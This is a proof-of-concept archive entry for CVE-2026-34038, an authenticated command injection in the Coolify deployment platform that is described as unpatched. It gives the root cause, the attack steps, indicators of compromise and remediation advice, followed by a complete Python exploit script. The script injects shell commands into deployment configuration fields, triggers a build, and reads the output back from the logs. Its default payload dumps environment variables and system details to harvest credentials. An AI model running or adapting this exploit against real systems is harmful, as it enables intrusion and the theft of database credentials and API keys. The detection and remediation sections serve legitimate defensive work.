PoC Archive PoC Archive
Critical CVE-2026-34038 (GHSA-qqrq-r9h4-x6wp) unpatched

Coolify Authenticated Remote Command Injection via Deployment Config (CVE-2026-34038)

by ThemeHackers · 2026-07-05

CVSS 10.0/10
Severity
Critical
CVE
CVE-2026-34038 (GHSA-qqrq-r9h4-x6wp)
Category
web
Affected product
Coolify (self-hosted PaaS/deployment platform)
Affected versions
Versions with vulnerable ApplicationDeploymentJob.php handling of dockerfile_location / pre_deployment_command (see GHSA-qqrq-r9h4-x6wp)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-07
Author / ResearcherThemeHackers
CVE / AdvisoryCVE-2026-34038 (GHSA-qqrq-r9h4-x6wp)
Categoryweb
SeverityCritical
CVSS Score10.0 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
StatusPoC
Tagscoolify, command-injection, cwe-78, rce, deployment, docker, api
RelatedN/A

Affected Target

FieldValue
Software / SystemCoolify (self-hosted PaaS/deployment platform)
Versions AffectedVersions with vulnerable ApplicationDeploymentJob.php handling of dockerfile_location / pre_deployment_command (see GHSA-qqrq-r9h4-x6wp)
Language / PlatformPHP (Laravel) backend; PoC written in Python 3 using Coolify’s REST API
Authentication RequiredYes (API token with application “write” permission)
Network Access RequiredYes

Summary

Coolify builds shell commands for application deployment by interpolating user-supplied configuration fields — notably dockerfile_location and pre_deployment_command — directly into shell strings executed inside the build/deploy container, without adequate escaping or validation. A user holding only “write” (configuration update) permission on an application, without explicit “deploy” rights, can set these fields to shell metacharacter payloads (;, &&, pipes) and trigger a build to have them executed. Because deployment logs are readable by the same low-privileged token, command output — including exfiltrated environment variables such as database credentials and API keys — can be read back through the deployment log stream, achieving full RCE and secrets exfiltration even when the build environment is otherwise isolated from the Docker socket.


Vulnerability Details

Root Cause

dockerfile_location and pre_deployment_command values are concatenated into shell command strings in app/Jobs/ApplicationDeploymentJob.php without sufficient shell-metacharacter sanitization or strict format validation, permitting arbitrary command injection via ;, &&, and pipe sequences.

Attack Vector

  1. Obtain an API token with application “write” permission (deploy permission not required due to a permission-check gap).
  2. Send a PATCH request to /api/v1/applications/{uuid} setting dockerfile_location to Dockerfile; <command>; and/or pre_deployment_command to the desired command.
  3. Trigger a deployment via POST /api/v1/applications/{uuid}/start.
  4. Poll /api/v1/deployments/{deployment_uuid} and parse the logs field to read command output streamed back in the build/deploy log.

Impact

Remote code execution within the Coolify deployment/build container as an authenticated but under-privileged user, plus exfiltration of sensitive environment variables (database credentials, API keys) via deployment logs.


Environment / Lab Setup

Target:   Coolify instance (vulnerable version), reachable API endpoint
Attacker: Python 3 + requests library, valid API token with "write" permission

Proof of Concept

PoC Script

See exploit.py in this folder.

1
python3 exploit.py --url https://coolify.target.tld --token <API_TOKEN> [--uuid <APP_UUID>] [--cmd "id; whoami"]

The script lists available applications if no UUID is given, patches the target application’s dockerfile_location and pre_deployment_command fields with an injected shell payload, triggers a deployment, and polls the deployment status endpoint to stream the command output back from the build logs in real time.


Detection & Indicators of Compromise

Signs of compromise:

  • Deployment logs containing output from commands unrelated to the actual build (e.g. whoami, env, cat /etc/hosts)
  • API tokens without “deploy” permission successfully triggering /start on an application
  • Unexpected shell metacharacters in stored dockerfile_location/pre_deployment_command configuration values

Remediation

ActionDetail
Primary fixApply the vendor patch referenced in GHSA-qqrq-r9h4-x6wp once available/confirmed for the deployed version
Interim mitigationValidate dockerfile_location against a strict ^[a-zA-Z0-9._\-\/]+$ pattern and reject path traversal; use escapeshellarg() for all shell-bound fields; enforce the “deploy” permission check on the deployment-trigger endpoint; audit docker_compose_location for the same issue

References


Notes

Mirrored from https://github.com/ThemeHackers/CVE-2026-34038 on 2026-07-05.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
import requests
import argparse
import json
import time
import random
import sys

def get_applications(target_url, api_token):
    headers = {
        'Authorization': f'Bearer {api_token}',
        'Accept': 'application/json'
    }
    url = f"{target_url}/api/v1/applications"
    try:
        response = requests.get(url, headers=headers)
        if response.status_code == 200:
            return response.json()
        else:
            print(f"\033[91m[-] Failed to list applications. Status: {response.status_code}\033[0m")
            return None
    except Exception as e:
        print(f"\033[91m[-] Error listing apps: {e}\033[0m")
        return None

def exploit(target_url, api_token, app_uuid, custom_cmd=None):
    headers = {
        'Authorization': f'Bearer {api_token}',
        'Content-Type': 'application/json',
        'Accept': 'application/json'
    }

    if not custom_cmd:
        custom_cmd = (
            "echo '--- [SYSTEM INFO] ---'; whoami; id; hostname; "
            "echo '--- [NETWORK INFO] ---'; ip a; "
            "echo '--- [ENVIRONMENT] ---'; env; "
            "echo '--- [ETC HOSTS] ---'; cat /etc/hosts"
        )
    
    print(f"\n\033[94m[*] target: {target_url}\033[0m")
    print(f"[*] App UUID: {app_uuid}")
    print(f"[*] Payload: {custom_cmd}")

    injection = f"; {custom_cmd};"
    update_url = f"{target_url}/api/v1/applications/{app_uuid}"
    update_params = {
        "dockerfile_location": f"Dockerfile{injection} {random.randint(100,999)}",
        "pre_deployment_command": custom_cmd 
    }
    
    try:
        print("[*] Injecting payload into configuration...")
        resp = requests.patch(update_url, headers=headers, json=update_params)
        if resp.status_code != 200:
            print(f"\033[91m[-] Injection failed: {resp.text}\033[0m")
            return

        print("\033[92m[+] Config updated. Triggering deployment...\033[0m")
        deploy_url = f"{update_url}/start"
        resp = requests.post(deploy_url, headers=headers)
        if resp.status_code != 200:
             print(f"\033[91m[-] Deployment failed: {resp.text}\033[0m")
             return
        
        deploy_data = resp.json()
        print(f"[DEBUG] Start response: {json.dumps(deploy_data)}")
        deployment_uuid = deploy_data.get('deployment_uuid')
        

        if not deployment_uuid:
            time.sleep(2)
            hist = requests.get(f"{update_url}/deployments", headers=headers).json()
            print(f"[DEBUG] History response: {json.dumps(hist)}")
            if isinstance(hist, list) and len(hist) > 0:
                deployment_uuid = hist[0].get('deployment_uuid')
            elif isinstance(hist, dict) and 'deployments' in hist:
              
                 deployments = hist.get('deployments', [])
                 if len(deployments) > 0:
                     deployment_uuid = deployments[0].get('deployment_uuid')

        if not deployment_uuid:
            print("\033[91m[-] Could not track deployment.\033[0m")
            return

        print(f"\033[92m[+] Deployment ID: {deployment_uuid}. Monitoring logs...\033[0m")
        monitor_logs(target_url, api_token, deployment_uuid)

    except Exception as e:
        import traceback
        traceback.print_exc()
        print(f"\033[91m[-] Critical Error: {e}\033[0m")

def monitor_logs(target_url, api_token, deploy_uuid):
    headers = {'Authorization': f'Bearer {api_token}', 'Accept': 'application/json'}
    status_url = f"{target_url}/api/v1/deployments/{deploy_uuid}"
    last_len = 0
    
    for _ in range(120):
        try:
            res = requests.get(status_url, headers=headers)
            if res.status_code == 200:
                data = res.json()
                status = data.get('status', '')
                logs_raw = data.get('logs')
                
                if logs_raw:
                    logs = json.loads(logs_raw)
                    if len(logs) > last_len:
                        for entry in logs[last_len:]:
                            out = entry.get('output', '').strip()
                            if out:
                                print(f"\033[92m[DEPLOY LOG] {out}\033[0m")
                        last_len = len(logs)
                
                if status in ['finished', 'failed', 'cancelled']:
                    print(f"\n\033[94m[*] Deployment {status}.\033[0m")
                    break
            
            time.sleep(2)
        except Exception: break

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Coolify Fully Automated RCE')
    parser.add_argument('--url', required=True, help='Coolify URL')
    parser.add_argument('--token', required=True, help='API Token')
    parser.add_argument('--uuid', help='App UUID (optional, will list if missing)')
    parser.add_argument('--cmd', help='Optional custom command')
    
    args = parser.parse_args()
    
    target_uuid = args.uuid
    if not target_uuid:
        print("[*] UUID not provided. Searching for available applications...")
        apps = get_applications(args.url, args.token)
        if apps:
            print(f"[+] Found {len(apps)} applications:")
            for idx, app in enumerate(apps, 1):
                name = app.get('name', 'Unknown')
                uuid = app.get('uuid', 'No UUID')
                description = app.get('description', '')
                print(f" [{idx}] {name} - {uuid} {f'({description})' if description else ''}")
            
            while True:
                try:
                    choice = input(f"\nSelect target application (1-{len(apps)}): ").strip()
                    if not choice.isdigit():
                        print("[-] Please enter a valid number.")
                        continue
                        
                    idx = int(choice)
                    if 1 <= idx <= len(apps):
                        selected_app = apps[idx - 1]
                        target_uuid = selected_app.get('uuid')
                        print(f"[*] Target selected: {selected_app.get('name')} ({target_uuid})")
                        break
                    else:
                        print(f"[-] Invalid selection. Please choose between 1 and {len(apps)}.")
                except Exception as e:
                    print(f"[-] Error parsing input: {e}")
        else:
            print("[-] No apps found or unauthorized.")
            sys.exit(1)
            
    exploit(args.url, args.token, target_uuid, args.cmd)